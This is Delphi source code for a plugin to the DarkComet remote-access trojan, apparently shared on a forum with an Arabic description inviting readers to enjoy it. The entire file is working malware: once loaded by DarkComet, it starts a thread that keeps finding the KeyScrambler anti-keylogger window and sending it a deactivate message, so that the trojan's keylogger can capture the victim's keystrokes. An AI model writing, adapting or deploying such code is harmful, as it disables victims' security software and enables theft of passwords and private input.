DARK-COMET PLUGIN

LIBRARY DARKCOMET;


USES
  WINDOWS,SYSUTILS;

{$R *.RES}

CONST
NAME : STRING = 'KeyScrambler';
DESCRIPTION : STRING = 'هده اضافة تقوم بايقاف مشفر نقرات الكيبورد ، استمتعوا' ;
AUTHOR : STRING = 'pirate-inc (c) dev-point.com';

VAR
BYPASS_THREAD_ID : DWORD;

PROCEDURE BYPASSING ();

CONST
_ACTIVE_ID : WORD = $8001;
_DESACTIVE_ID : WORD = $8002;
_EXIT_ID : WORD = $8004;
_IMSG_KEYSCRAMBLER : WORD = $0111;

_LPARAM_KEYSCRAMBLER : DWORD = $00000000;

VAR
_HWND_KEYSCRAMBLER : THANDLE;
_WPARAM_KEYSCRAMBLER : DWORD;

BEGIN
WHILE TRUE  DO
BEGIN

_HWND_KEYSCRAMBLER := FINDWINDOW ('ATL:100B6C00',NIL);
IF _HWND_KEYSCRAMBLER <> 0 THEN
BEGIN
_WPARAM_KEYSCRAMBLER := MAKELONG (_DESACTIVE_ID,$0000);
POSTMESSAGE (_HWND_KEYSCRAMBLER,_IMSG_KEYSCRAMBLER,_WPARAM_KEYSCRAMBLER,_LPARAM_KEYSCRAMBLER);
SLEEP (1000);
END;
END;
END;

FUNCTION _DCGETDLLINFO:PCHAR;STDCALL;
BEGIN
RESULT := PCHAR(NAME +'|'+ DESCRIPTION  +'|'+ AUTHOR);
END;

PROCEDURE _DCENTRYPOINT;STDCALL;
BEGIN

CREATETHREAD (NIL ,0,ADDR(BYPASSING),NIL,0,BYPASS_THREAD_ID);
END;



EXPORTS
_DCGETDLLINFO NAME '_DCGetDLLInfo',
_DCENTRYPOINT NAME '_DCEntryPoint';

BEGIN
END.